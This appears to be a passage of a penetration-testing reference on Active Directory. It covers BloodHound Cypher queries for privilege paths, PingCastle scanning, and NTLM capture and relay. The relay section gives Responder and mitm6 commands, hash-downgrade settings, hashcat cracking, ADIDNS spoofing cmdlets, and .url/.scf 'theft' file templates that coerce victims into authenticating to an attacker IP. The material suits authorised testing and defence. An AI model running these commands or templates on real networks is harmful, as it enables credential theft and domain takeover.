OPTIONAL MATCH (c:Computer)-[:MemberOf*1..]->(t:Group) WHERE NOT t.objectid ENDS WITH '-516' WITH c as NonDC MATCH p=(NonDC)-[:HasSession]->(n:User)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-512' OR g.objectid ENDS WITH '-519' RETURN DISTINCT (n.name) as Username, COUNT(DISTINCT(NonDC)) as Connexions ORDER BY COUNT(DISTINCT(NonDC)) DESC
OPTIONAL MATCH (c:Computer)-[:MemberOf]->(t:Group) WHERE NOT t.name = 'DOMAIN CONTROLLERS@TESTLAB.LOCAL' WITH c as NonDC MATCH p=(NonDC)-[:HasSession]->(n:User)-[:MemberOf*1..]->(g:Group {name:”DOMAIN ADMINS@TESTLAB.LOCAL”}) RETURN DISTINCT (n.name) as Username, COUNT(DISTINCT(NonDC)) as Connexions ORDER BY COUNT(DISTINCT(NonDC)) DESC

# Remote execution privileges.
# Local Administrators.
# First degree membership of the specified domain user to the local Administrators groups of any computers in the BloodHound database (current domain and others integrated domains).
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH (c:Computer) MATCH p=allShortestPaths((u)-[r:AdminTo]->(c)) RETURN c.name
# Both first degree and group delegated membership of the specified domain user to the local Administrators groups of any computers in the BloodHound database (current domain and others integrated domains).
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH (c:Computer) MATCH p=allShortestPaths((u)-[r:AdminTo|MemberOf*1..]->(c)) RETURN c.name

# Membership of Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to the local Administrators group of any computers in the BloodHound database (current domain and others integrated domains).
MATCH (g:Group) WHERE g.objectid ENDS WITH '-513' OR g.objectid ENDS WITH 'S-1-5-11' OR g.objectid ENDS WITH 'S-1-1-0' OR g.objectid ENDS WITH 'S-1-5-7' MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo]->(c)) RETURN c.name

# Possible code execution (local Administrators, Remote Desktop Users, Distributed COM users, LAPS password delegation, etc.).
# Possible code execution of the specified domain user to all computers integrated in the BloodHound database.
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo|GenericAll|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|ReadLAPSPassword|SQLAdmin|CanPSRemote]->(c)) RETURN c.name
# Possible code execution of Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to all computers integrated in the BloodHound database.
MATCH (g:Group) WHERE g.objectid ENDS WITH '-513' OR g.objectid ENDS WITH 'S-1-5-11' OR g.objectid ENDS WITH 'S-1-1-0' OR g.objectid ENDS WITH 'S-1-5-7' MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo|GenericAll|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|ReadLAPSPassword|SQLAdmin|CanPSRemote]->(c)) RETURN c.name

# Kerberos delegations.
# Computers, except Domain Controllers, that are trusted to perform unconstrained delegation.
MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH "-516" WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2.name,c2.operatingsystem ORDER BY c2.name ASC
# Users trusted that are trusted to perform unconstrained delegation.
MATCH (u:User {unconstraineddelegation:true}) RETURN u.name,u.description,u.serviceprincipalnames,u.lastlogon,u.lastlogontimestamp

# Advanced control paths.
# Shortest path from Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to Enterprise Admins, Domain Admins, KRBTGT, domain built-in Administrator, Domain Controllers,	Cert Publishers, Schema Admins, Key Admins, Enterprise Key Admins, Account Operators, Server Operators, Print Operators or Backup Operators.
MATCH (g:Group) WHERE g.objectid ENDS WITH '-513' OR g.objectid ENDS WITH '-515' OR g.objectid ENDS WITH 'S-1-5-11' OR g.objectid ENDS WITH 'S-1-1-0' OR g.objectid ENDS WITH 'S-1-5-7' MATCH (m:Group) WHERE m.objectid ENDS WITH 'S-1-5-9' OR m.objectid ENDS WITH '-500' OR m.objectid ENDS WITH '-502' OR m.objectid ENDS WITH '-512' OR m.objectid ENDS WITH '-516' OR m.objectid ENDS WITH '-517' OR m.objectid ENDS WITH '-518' OR m.objectid ENDS WITH '-519' OR m.objectid ENDS WITH '-526' OR m.objectid ENDS WITH '-527' OR m.objectid ENDS WITH '-548' OR m.objectid ENDS WITH '-549' OR m.objectid ENDS WITH '-550' OR m.objectid ENDS WITH '-551' MATCH p=allShortestPaths((g)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin|ReadGMSAPassword|HasSIDHistory|CanPSRemote*1..]->(m)) RETURN p

# Direct and potentially involuntary control (direct link with out MemberOf) of Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to any domain objects.
# Adding the "MemberOf" relationship type may greatly complexify the reading of the resulting graph.
MATCH (source_object:Group) WHERE source_object.objectid ENDS WITH '-513' OR source_object.objectid ENDS WITH '-515' OR source_object.objectid ENDS WITH 'S-1-5-11' OR source_object.objectid ENDS WITH 'S-1-1-0' OR source_object.objectid ENDS WITH 'S-1-5-7' MATCH p=(source_object)-[r:AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]->(vulnerable_object) RETURN p
# Table form for exporting the results from the neo4j's console
MATCH (source_object:Group) WHERE source_object.objectid ENDS WITH '-513' OR source_object.objectid ENDS WITH '-515' OR source_object.objectid ENDS WITH 'S-1-5-11' OR source_object.objectid ENDS WITH 'S-1-1-0' OR source_object.objectid ENDS WITH 'S-1-5-7' MATCH p=(source_object)-[r:AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]->(vulnerable_object) RETURN source_object.name,vulnerable_object.name,r

# Enumeration of GenericAll, WriteDacl and WriteOwner ACEs on all AD objects for all security principals except - ALL domains - privileged built-in groups and principals such as "Creator Owner" (SID: S-1-3-0) and Local System (SID: S-1-5-18).
MATCH (source_object) WHERE NOT source_object.objectid ENDS WITH "-512" AND NOT source_object.objectid ENDS WITH "-519" AND NOT source_object.objectid ENDS WITH "S-1-5-32-544" AND NOT source_object.objectid ENDS WITH "S-1-5-32-548" AND NOT source_object.objectid ENDS WITH "S-1-5-32-549" AND NOT source_object.objectid ENDS WITH "S-1-5-32-550" AND NOT source_object.objectid ENDS WITH "S-1-5-32-551" AND NOT source_object.objectid ENDS WITH "S-1-5-32-518" AND NOT source_object.objectid ENDS WITH "S-1-5-32-516" AND NOT source_object.objectid ENDS WITH "S-1-5-32-526" AND NOT source_object.objectid ENDS WITH "S-1-5-32-527" AND NOT source_object.objectid ENDS WITH "S-1-5-18" AND NOT source_object.objectid ENDS WITH "S-1-5-9" AND NOT source_object.objectid ENDS WITH "S-1-3-0" AND NOT source_object.objectid ENDS WITH "S-1-5-10" MATCH p=(source_object)-[r:GenericAll|Owns|WriteDacl|WriteOwner|ForceChangePassword]->(vulnerable_object) RETURN source_object.name,vulnerable_object.name,r

# More queries: https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
```

**(Dirty) Manual analysis of SharpHound results**

For larger Active Directory domains, specifics search on the `SharpHound` resulting JSON files may be used to more rapidly identify entry point, such as resources accessible to following groups:

* `Everyone`, SID: `S-1-1-0`
* `Anonymous`, SID: `S-1-5-7`
* `Authenticated Users`, SID: `S-1-5-11`
* `Users`, SID: `S-1-5-32-545`
* `Domain Users`, SID: `S-1-5-<DOMAIN>-513`
* `Domain Computers`, SID: `S-1-5-<DOMAIN>-515`

The following bash script can be used to convert the one-line JSON result of `SharpHound` to a more human readable format:

```bash
#!/bin/bash
for filename in *.json; do
  echo $filename
  jq --color-output . $filename > $filename.jq
done
```

```bash
grep -A 10 -B 10 -rin "S-1-1-0\|S-1-5-7\|S-1-5-11\|S-1-5-32-545" *.jq
```

**\[Linux] BloodHound Owned**

The `bh-owned.rb` ruby script can be used to automatically tag the provided users from a file as owned or blacklist.

```bash
ruby bh-owned.rb -u neo4j -p <NEO4J_DB_PASSWORD> -a <COMPROMISED_USERS_FILE>
```

Note that the usernames must correspond to the `BloodHound` expected node format: `UPPERCASE_USERNAME@UPPERCASE_DOMAIN_FQDN`.

```bash
#!/bin/bash

users_file='<USERNAMES_FILE>'
users_fqdn='<UPPERCASE_DOMAIN_FQDN>'

touch ./tmp_file
cat $users_file | while read line; do
  echo $line"@"$users_fqdn >> ./tmp_file
done

awk '{print toupper($0)}' < ./tmp_file > formated_users_file.txt
rm -rf ./tmp_file

ruby bh-owned.rb -u neo4j -p <NEO4J_DB_PASSWORD> -a <COMPROMISED_USERS_FILE>
```

### PingCastle

`PingCastle` is an `C#` application designed to run a number of security checks, targeting the most common Active Directory security issues. `PingCastle` generates an `HTLM` report summarizing the findings for the `healthcheck` mode or produces text files for the individual modules.

Note that the licensing model of `PingCastle` specify the following:

* "Except if a license is purchased, you are not allowed to make any profit from this source code"
* "It is allowed to run PingCastle without purchasing any license on for profit companies if the company itself (or its ITSM provider) run it"

So in order to legally make use of `PingCastle`, a license must be purchased by the auditor or the scans must be conducted by the audited company and the results communicated to the auditors.

The `healthcheck` mode runs more that fifty checks, including:

* Enumeration of the members of the domain privileged groups (`Enterprise Admins`, `Domain Admins`, built-in `Operators` groups, etc.).
* Creation of a limited Active Directory control path graph to privileged groups, similar in nature but not as complete to what can be accomplished using `BloodHound`. `PingCastle`'s control path graphs are based on group memberships, `GPO` mapping and `Access Control List (ACL)` on privileged objects and can be visualized in the `Control Paths Analysis` section by clicking on the `Analysis` link of each privileged group.
* Enumeration of the operating systems in use on the computers integrated to the Active Directory domain.
* Enumeration of Active Directory privileges group memberships and users with the `admincount` bit set to 1 (accounts protected by the `AdminSdHolder` mechanism).
* Verification of privileges security principals' and GPO's ACLs.
* Search of `GPP` passwords and restricted groups definition in GPO.
* Verification of the implementation of `Local Administrator Password Solution (LAPS)` and `Windows Event Forwarding` solutions.
* Enumeration of privileged accounts that define a `ServicePrincipalName (SPN)` (and are thus prone to `Kerberoasting` attack).
* Listing of user and machine accounts that can have an empty password as well as user accounts that do not require `Kerberos` pre-authentication (and are thus vulnerable to `ASP-Roast` attacks).
* Enumeration of domain configured trusts.
* Verification if the `Exchange Windows Permissions` security principal has the `WriteDacl` right in the root domain security descriptor
* etc.

`PingCastle` can also be used to run a number of specific security scans through various `modules`:

| Scan                | Description                                                                                                                                             |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `aclcheck`          | Check authorization related to users or groups. Default to everyone, authenticated users and domain users.                                              |
| `antivirus`         | Check for computers without known antivirus installed. It is used to detect unprotected computers but may also report computers with unknown antivirus. |
| `export_user`       | Export all users of the AD with their creation date, last logon and last password change.                                                               |
| `foreignusers`      |                                                                                                                                                         |
| `laps_bitlocker`    | Check on the AD if LAPS and/or BitLocker has been enabled. Default check for all the computers in the domain.                                           |
| `localadmin`        | Enumerate the local Administrators of the specified computer or all computers in the domain.                                                            |
| `nullsession`       | Check if null sessions are enabled.                                                                                                                     |
| `nullsession-trust` | Attempts to enumerate the Active Directory domain trusts through a null session.                                                                        |
| `remote`            | Checks for the presence of a remote desktop solution (RDP, TeamViewer, VNC, etc.) on the targeted computer(s).                                          |
| `share`             | List all shares published on the specified computer or all computers in the domain and determine if the share can be accessed by anyone.                |
| `smb`               | Scan the specified computer or all computers in the domain and determine the smb version available. Also check if SMB signing is enabled.               |
| `spooler`           | Check if the spooler service is remotely active on the specified computer or all computers in the domain.                                               |
| `startup`           | Get the last startup date of the specified computer or all computers in the domain. Can be used to determine if latest patches have been applied.       |
| `zerologon`         | Enumerates the Domain Controllers through AD requests and check for presence of the ZeroLogon vulnerability on all the enumerated Domain Controllers    |

In order to execute `PingCastle` on a computer with out the `.NET framework 3.5` installed, the `PingCastle.pdb` and `PingCastle.exe.config` files must be present in the same directory as the `PingCastle.exe` binary.

`PingCastle` can be launched in `interactive mode` using the current user security context or with a specified account using the following commands. Before running the `PingCastle`'s `healthcheck` mode, it is recommended to remove the limitation of 100 users in the generated `HTML` report: `5-advanced -> 4-noenumlimit`.

```bash
# Runs PingCastle in interactive mode.
PingCastle.exe

# Runs PingCastle's healthcheck mode with out the limitation of 100 users.
PingCastle.exe --no-enum-limit --healthcheck

# Runs the PingCastle's healthcheck on the specified domain using the provided credentials.
PingCastle.exe --server <DC_FQDN | DC_IP> --user "<DOMAIN>\<USERNAME>" --password "<PASSWORD>" --no-enum-limit --interactive

# Runs the PingCastle's healthcheck on all trusted domains.
# --explore-trust: on domains of a forest, runs the healthcheck on all trusted domains except domains of the forest and forest trusts.
# --explore-forest-trust: on the root domain of a forest, runs the healthcheck on all forest trusts discovered.
PingCastle.exe --explore-trust --explore-forest-trust --no-enum-limit --healthcheck

# Runs the specified scanner module.
PingCastle.exe --scanner "<MODULE_NAME>"
PingCastle.exe --server <DC_FQDN | DC_IP> --user "<DOMAIN>\<USERNAME>" --password "<PASSWORD>" --scanner "<MODULE_NAME>"

# Runs, as of PingCastle version 2.9.0.0, all the PingCastle available scanner modules.
$modules = @("aclcheck", "smb", "share", "localadmin", "spooler", "antivirus", "export_user", "foreignusers", "laps_bitlocker", "smb3querynetwork", "nullsession", "nullsession-trust", "oxidbindings")

foreach ($module in $modules) {
   .\PingCastle.exe --scanner "$module"
}
```

***

### References

<https://www.ernw.de/download/BloodHoundWorkshop/ERNW\\_DogWhispererHandbook.pdf#page=45\\&zoom=100,92,390>

<https://beta.hackndo.com/bloodhound/>

<https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/>

<https://neo4j.com/docs/cypher-manual/current/clauses/match/>


# Exploitation - NTLM capture and relay

### Overview

The **LLMNR and NBT-NS poisoning attack**, combined with the **SMB Relay attack**, or **NTLM Relaying**, can be used to gain an authenticated access to servers by capturing local network `SMB` authentication traffic and relaying it to targets servers.

Even when the organization has good patch management practices, this reliable and effective attack can almost always be leveraged to obtain an initial foothold.

**LLMNR and NBT-NS poisoning**

The **Link-Local Multicast Name Resolution (LLMNR)** and **Netbios Name Service (NBT-NS)** protocols can be abused to intercept local network traffic.

These protocols allow machines on the same subnet to identify hosts when `DNS` resolution fails. A Windows machine first tries to resolve a hostname through the `Domain Name System (DNS)` protocol. If `DNS` resolution fails, then broadcast `LLMNR` and / or `NBT-NS` requests will be sent over the local network in an attempt to ask all other machines on the local network for the associated IP address.

An attacker can listen on a network for these `LLMNR` (`UDP`: 5355) or `NBT-NS` (`UDP`: 137) broadcasts requests and respond to them, thus pretending to be the requested host.

Note that following the Microsoft security bulletin `MS16-077` (Security Update for `WPAD`), the location of the `WPAD` file (which provide the client its proxy settings) is no longer requested via broadcast protocols, such as `LLMNR` and `NBT-NS`, but only via `DNS`.

**NTLM relaying**

The **NT LAN Manager v1 and v2** authentication process, used in by the **Server Message Block (SMB)** protocol can be subverted.

The attack unwinds as follow:

1. The victim tries to authenticates himself to a server (`SMB_COM_NEGOTIATE` Request)
2. The authentication request is intercepted by an attacker
3. The attacker initiates an authentication procedure to a targeted server and retrieves an authentication challenge (`NTLM_CHALLENGE_MESSAGE`) from this server
4. The attacker forwards this challenge to the victim
5. The victim answers the challenge to the attacker (`NTLM_AUTHENTICATION_MESSAGE`)
6. The attacker can then relay the victim challenge response to the targeted server to authenticate as the victim
7. If the victim has local admin rights on the server, an complete access can be acquire

Since MS08-068 you cannot relay a `Net-NTLM` hash back to the same machine you got it from (e.g. the 'reflective' attack) unless you're performing a cross-protocol relay.

For the attack to work, `SMB` Signing needs to be disabled on the targeted machine. While `SMB` packet signing is available in all supported versions of Windows, it is enabled by default on Domain Controllers.

### NTLM authentication capture

**LLMNR and NBT-NS poisoning in practice**

*LLMNR detection*

If, after a while, no `NTLM` authentication are captured using the tools listed below, `nmap` and the `Metasploit`'s `auxiliary/scanner/llmnr/query` module can be used to check whether or not hosts on the local subnetwork have the `LLMNR` protocol enabled.

Note that even if `LLMNR` is disabled, system have been hardened but `NBT-NS` may still be enabled.

To check if a specific host, identified by its hostname, has `LLMNR` activated:

```
nmap --script llmnr-resolve --script-args 'llmnr-resolve.hostname=<HOSTNAME>'
nmap --script llmnr-resolve --script-args 'llmnr-resolve.hostname=<HOSTNAME>' -e <NETWORK_INTERFACE>

# Metasploit
use auxiliary/scanner/llmnr/query
set NAME <HOSTNAME>
run
```

*Responder*

`Responder` can be used to conduct the `LLMNR` and `NBT-NS` poisoning attack.

*The original version of Responder on SpiderLab's Github repository isn't maintained so lgandx's fork should be prefered instead.*

To capture and crack offline the hashes captured, `Responder` `SMB` and `HTTP` servers should not be disabled. The authentication attempt won't be transmitted to the relay servers and no `NTLM` relaying will be conducted.

`Responder` can be configured to automatically attempt to downgrade the authentication to use the `NetNTLMv1` protocol against clients with a `LMCompatibilityLevel` attribute set to 2 or lower (which is usually the case for environment with `Windows XP` / `Windows server 2003` operating systems). `NetNTLMv1` hashes can be cracked in order to retrieve the client `NTLM` hash, with the exhaustion of all possibility in a matter of days on a modern crackstation. Additionally, `www.crack.sh` provides a `rainbow table` for `NetNTLMv1` hashes obtained with the challenge `1122334455667788`. Useable for free, this `rainbow table` allows `crack.sh` to achieve an average crack time of 25 seconds and a success rate of 99.5%.

`Responder` can be configured to make use of this specific authentication challenge:

```
# Responder.conf file

Challenge = 1122334455667788
```

`NetNTLMv1` hashes follow the format `<USERNAME>::<HOSTNAME>:<RESPONSE>: <RESPONSE>:<CHALLENGE>`, with `NTHASH:<RESPONSE>` being the format accepted by `www.crack.sh`.

Otherwise, `NetNTLMv2` hashes can be cracked using `hashcat`:

```
hashcat -m 5600 <HASHFILE> <WORDLIST> -o <OUTPUTFILE>
```

To relay `NTLM` authentication, `Responder`'s `SMB` and `HTTP` servers should be disabled:

```
# Responder.conf file
[Responder Core]

; Servers to start
SQL = On
SMB = Off     # Turn this off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off    # Turn this off
HTTPS = On
DNS = On
LDAP = On
```

With those servers turned off, the authentication attempts captured can be automatically transmitted to `MultiRelay.py` or `ntlmrelayx.py`'s `SMB` and `HTTP` servers for the relay attack.

`Responder` usage:

```
# -d : Enable answers for netbios domain suffix queries
# -w :  Start the WPAD rogue proxy server

python Responder.py -I <NETWORK_INTERFACE> -d -w
```

*Inveigh*

`Inveigh` is a PowerShell script that implements `LLMNR`, `NBNS`, `mDNS` / `DNS` spoofing capabilities and can capture `NetNTLMv1` / `NetNTLMv2` authentication requests over the `SMB` and `HTTP` / `HTTPS` protocols.

It can notably be used after the initial compromise of a Windows machine, and offer some spoofing and capture functionalities even if being run as an unprivileged user. While elevated privileges are required in order to capture authentication requests over the `SMB` and `HTTPS` protocols, the spoofing capabilities and capturing should work pra users will not

```
# Only inspects the LLMNR, NBT-NS and mDNS traffic with out spoofing responses.
Invoke-Inveigh -ConsoleOutput Y -Inspect
Invoke-Inveigh -ConsoleOutput Y -Inspect -IP <IP>
Invoke-Inveigh -ConsoleOutput Y -Inspect -IP <IP>

# Requires elevated privileges.
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y -IP <IP>
```

**ADIDNS spoofing**

In an Active Directory environment, the Domain Controllers will usually expose `DNS` services, that store their `DNS` zones in `Active Directory Domain Services (AD DS)`. This `DNS` topology is known as `Active Directory-Integrated DNS (ADIDNS)`.

The `DNS` zones replication to the different Domain Controllers is integrated to the overall Active Directory replication process. In multi-site Active Directory infrastructures, the replication between sites of `DNS` record modification may take up to three hours.

The following `DNS`-specific application directory partitions are created during `AD DS` installation:

* A forest-wide application directory partition, called `ForestDnsZones`
* Domain-wide application directory partitions for each domain in the forest, named `DomainDnsZones`

By default, any domain authenticated user may remotely add record to an `ADIDNS` zone through `DNS dynamic updates` (`DNS` specific protocol), thanks to the `CreateChild` right on the `DomainDnsZones` domain object. Existing records can be updated or deleted by privileged domain groups, such as the `Domain Admins`, `Enterprise Admins`, or `DnsAdmins` groups, as well as the owner (by default the creator) of the record.

While requiring valid domain credentials and potentially waiting for a replication time, spoofing `ADIDNS` records allows to target users and computers across the domain with out being limited to the local subnetwork.

```
# New-PSDrive is necessary on out-of-the-domain systems, the AD should automatically be mapped otherwise whenever importing the ActiveDirectory PowerShell module
New-PSDrive -Name AD -PSProvider ActiveDirectory -Server "<DC_IP>"

# DOMAIN_ROOT_OBJECT = "DC=LAB,DC=AD" for example
Get-ACL "DC=<DOMAIN_FQDN>,CN=MicrosoftDNS,DC=DomainDNSZones,<DOMAIN_ROOT_OBJECT>" | Select -ExpandProperty Access | ? IdentityReference -match "Authenticated Users"

  ActiveDirectoryRights : CreateChild
  InheritanceType       : None
  ObjectType            : 00000000-0000-0000-0000-000000000000
  InheritedObjectType   : 00000000-0000-0000-0000-000000000000
  ObjectFlags           : None
  AccessControlType     : Allow
  IdentityReference     : NT AUTHORITY\Authenticated Users
  IsInherited           : False
  InheritanceFlags      : None
  PropagationFlags      : None
```

The PowerShell `Powermad` module implements cmdlets that leverage the `DNS` `dynamic updates` functions to interact with `ADIDNS` zones:

```
# Lists the current or specified domain ADIDNS zones.
Get-ADIDNSZone [-Domain <DOMAIN>] [-DomainController <DC_IP | DC_HOSTNAME>] [-Credential <PSCredential>]

# Attempts to resolve a ADIDNS node.
Resolve-DNSName <DNS_NAME>

# Retrieves the DACL of an ADIDNS zone or node.
# By default, retrieves the DACL for the default Active Directory-Integrated Zone.
Get-ADIDNSPermission [-Domain <DOMAIN>] [-DomainController <DC_IP | DC_HOSTNAME>] [-Credential <PSCredential>]
Get-ADIDNSPermission | ? IdentityReference -match "S-1-5-11"
Get-ADIDNSPermission -Node <DNS_NAME>
Get-ADIDNSPermission -Zone <ADIDNS_ZONE>

# Creates a new ADIDNS node.
# Supported RECORD_TYPE: A, AAAA, CNAME, DNAME, NS, MX, PTR, SRV, or TXT.
# -Tombstone: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that allows it to be modified or fully tombstoned by any authenticated user.
New-ADIDNSNode -Verbose -Tombstone -Node <DNS_NAME> -Type <A | RECORD_TYPE> -Data <IP | RECORD_CONTENT>
New-ADIDNSNode -Verbose -Tombstone -Domain <DOMAIN> -DomainController <DC_IP | DC_HOSTNAME> -Credential <PSCredential> -Node <DNS_NAME> -Type <A | RECORD_TYPE> -Data <IP | RECORD_CONTENT>

# Removes the specified ADIDNS node.
Remove-ADIDNSNode [-Domain <DOMAIN>] [-DomainController <DC_IP | DC_HOSTNAME>] [-Credential <PSCredential>] -Node <DNS_NAME>

# Additional cmdlets:

# Renames the specified ADIDNS node.
Rename-ADIDNSNode -Node <DNS_NAME> -NodeNew <NEW_DNS_NAME>

# Tombstones an ADIDNS node.
Disable-ADIDNSNode -Node <DNS_NAME>

# Turns a tombstoned ADIDNS node back into a valid record.
Enable-ADIDNSNode -Node <DNS_NAME>

# Returns the owner of an ADIDNS node.
Get-ADIDNSNodeOwner -Node <DNS_NAME>

# Sets the owner of an ADIDNS node.
Set-ADIDNSNodeOwner -Principal "<USERNAME | GROUPNAME>" -Node <DNS_NAME>

# Adds an ACE to an ADIDNS node or zone DACL.
# By default grants the "GenericAll" right to the specified object.
# ACCESS_RIGHT: GenericAll, GenericRead, GenericWrite, WriteDacl, WriteOwner, WriteProperty [...]
Grant-ADIDNSPermission -Principal "<Authenticated Users | USERNAME | GROUPNAME>" -Node <DNS_NAME>
Grant-ADIDNSPermission -Access <ACCESS_RIGHT> -Type "<Allow | Deny>" -Principal "USERNAME | GROUPNAME>" -Node <DNS_NAME>

# Removes an ACE to the specified ADIDNS node or zone DACL.
Revoke-ADIDNSPermission -Access <ACCESS_RIGHT> -Principal "USERNAME | GROUPNAME>" -Node <DNS_NAME>
```

**IPv6 rogue DHCP server**

By default, every Windows system (starting from `Windows Vista`) will request, upon booting and periodically, an `IPv6` configuration through the `Dynamic Host Configuration Protocol version 6 (DHCPv6)` protocol by broadcasting a `Solicit` request. The `mitm6` `Python` utility will listen on the network for such `DHCPv6` requests and reply to the emitting hosts, assigning them an `IPv6` address within the link-local range and setting the attacking machine's `IP` as their default `IPv6` `DNS` server. As no `IPv6` gateway is specified by `mitm6`, the victim hosts will not attempt to use `IPv6` for communication with hosts outside the link-local network. The `DNS` server maliciously configured on a victim host will be preferred to the host's `IPv4` `DNS` server and used to query for both `A` (`IPv4`) and `AAAA` (`IPv6`) `DNS` records.

In addition to listening for `DHCPv6` requests, `mitm6` will (by default, although optional) regularly broadcast `ICMPv6` `Router Advertisements (RA)` messages to announce to the link-local network hosts that an `IPv6` network is deployed and that an `IPv6` address should be requested via `DHCPv6`.

Immediately after the attacking machine has been configured as the `DNS` server of a victim host, `mitm6` will receive `DNS` requests from the victim host for a `Windows Proxy Auto Detection (WPAD)` service, in the form of `DNS` queries for `wpad.<DOMAIN_FQDN | HOST_NETWORK_INTERFACE_SUFFIX>`. `mitm6` will respond to such queries by returning the attacking machine's `IP` as the requested `WPAD` host. As following the Microsoft security bulletin `MS16-077` (Security Update for `WPAD`) authentication cannot be directly requested by the `WPAD` server, `mitm6` will instead provide the victim host with a valid `WPAD` file that configure the attacking machine's `IP` as its proxy. Further `HTTP` requests made by the victim host will be intercepted and replied to with a `HTTP 407 Proxy Authentication required` `HTTP` response. The `Internet Explorer (IE)` / `Edge` and `Chrome` web browsers (which rely on `IE`'s settings) will automatically authenticate to the proxy under the user identity using `NTLM`, while `Firefox` will not by default.

Note that in environment making use of `WPAD`, `mitm6` will provide a `WPAD` `wpad.dat` file over the legitimate `WPAD` servers, which may cause connectivity issues on the victim hosts, such as an impossibility to reach the Internet. However, in order to minimize network impact, `mitm6` defines a `DHCP lease` of 5 minutes and sends `DNS` records with a `Time to Live (TTL)` limited to only 100 seconds. Thus, a victim host configuration will be back to normal within a few minutes of `mitm6` stopping.

`mitm6` should be used in combination with the `Impacket`'s `ntlmrelayx.py` utility, which will provide the `WPAD` server and relay the `NTLM` authentication request. Refer to the `IPv6 WPAD relay` section below for more information on how to execute `ntlmrelayx.py`.

```
# -d: the <DOMAIN> to poison WPAD DNS queries for
mitm6 [-i <NETWORK_INTERFACE>] -d <DOMAIN_FQDN>

# Limits the
mitm6 [-i <NETWORK_INTERFACE>] -d <DOMAIN> -hw <HOSTNAME_FQDN_WHITELIST>
mitm6 [-i <NETWORK_INTERFACE>] -d <DOMAIN> -hb <HOSTNAME_FQDN_BLACKLIST>
```

**MSRPC MS-RPRN "printer bug"**

On a machine running the `Spooler Service` (which is the case by-default for all Windows systems), the `RpcRemoteFindFirstPrinterChangeNotification(Ex)` function of the `Print System Remote Protocol`, exposed on the `MS-RPRN` `MSRPC` interface, can be called by any domain user to force the machine to authenticate to the specified remote system.

The `NTLM` authentication can be thus be captured and eventually relayed. For more information on how to identify the `MSRPC` interface and call the `RpcRemoteFindFirstPrinterChangeNotification` function, refer to the `[L7] MSRPC` note.

**MSRPC MS-EFSRPC - PetitPotam**

Similarly to functions exposed by the `MS-RPRN` `MSRPC` interface, a number of functions of the `MS-EFSRPC` `MSRPC` interface can be abused to coerce hosts to authenticate to an arbitrary (and possibly controlled) machine.

Refer to the `[L7] MSRPC` note for more information and tooling ([`PetitPotam`](https://github.com/topotam/PetitPotam)) to coerce authentications through the `MS-EFSRPC` interface.

**Microsoft SQL Server (MSSQL)**

The (undocumented) `xp_dirtree`, `xp_fileexist` and `xp_getfiledetails` `SQL` stored procedures can be used to access files on remote systems over `SMB` from a `MSSQL` service. By default, the account connecting to the database should only require the `PUBLIC` role to execute the procedures.

The account running the `SQL` service, be it a local or domain joined account, will authenticate to the `SMB` share by completing a `Net-NTLMv1` or `Net-NTLMv2` challenge. The challenge can be captured and eventually relayed.

For more information, refer to the `[L7] MSSQL` note.

**"Theft" files**

Various file types can include content that will automatically trigger an access to a remote `SMB` network share (requiring an authentication), upon the opening of the file or a browsing to a folder containing the file.

This technic can be leveraged:

* in phishing scenarios, both internal and external if the targeted entity allows outbound `SMB` traffic
* from an initial breach inside the internal network / Active Directory domain by uploading the file to a network share.

`PingCastle`'s `share` module may be used to identify `SMB` network shares accessible by all domain users and that could be targeted by such attack. Refer to the `[ActiveDirectory] AD scanners` note for more information on how to use `PingCastle`.

The following file types and files can notably be used to trigger an access to the specified `SMB` service upon the browsing of an user to the directory containing the file:

* `Internet Shortcut` files (`.url`)
* `Windows Explorer Command` files (`.scf`) - not supported on recent Windows operating systems.
* `autorun.inf` / `desktop.ini` - not supported on recent Windows operating systems.

The following `url` and `scf` files may be used as a template:

*url URL field*

```
[InternetShortcut]
URL=file://<IP>/doesnotmatter/test.html
```

*url IconFile field*

```
[InternetShortcut]
URL=doesnotmatter
WorkingDirectory=doesnotmatter
IconFile=\\<IP>\%USERNAME%.icon
IconIndex=1
```

*scf*

```
[Shell]
Command=2
IconFile=\\<IP>\doesnotmatter\test.ico
[Taskbar]
Command=ToggleDesktop
```

The `ntlm_theft.py` Python script allows for the generation of various "theft" files, such as `url`, `scf`, `docx`, `xlsx`, `pdf`, etc:

```
